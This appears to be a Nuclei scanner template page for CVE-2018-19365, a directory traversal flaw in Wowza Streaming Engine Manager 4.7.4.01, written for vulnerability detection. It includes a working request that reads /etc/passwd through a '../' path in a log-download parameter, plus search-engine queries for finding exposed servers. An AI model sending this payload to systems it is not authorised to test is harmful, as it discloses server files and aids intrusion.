Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal

ID: CVE-2018-19365

Severity: critical

Author: 0x_Akoko

Tags: cve2018,cve,wowza,lfi

Description

Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.

YAML Source

id: CVE-2018-19365

info:
  name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability.
  reference:
    - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19365
    - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2018-19365
    cwe-id: CWE-22
    epss-score: 0.01354
    epss-percentile: 0.8589
    cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wowza
    product: streaming_engine
    shodan-query:
      - http.title:"manager" product:"wowza streaming engine"
      - cpe:"cpe:2.3:a:wowza:streaming_engine"
    fofa-query: title="manager" product:"wowza streaming engine"
    google-query: intitle:"manager" product:"wowza streaming engine"
  tags: cve2018,cve,wowza,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008e404de56e9eef0a98c91c97250ae51148bb54af7207ab2df1fcc5c84a1d3a1a022023df65691a510eba9459c1b5ee71ea8618fc211c82beb3f3d7c73377f1e257ca:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-19365.yaml"

View on Github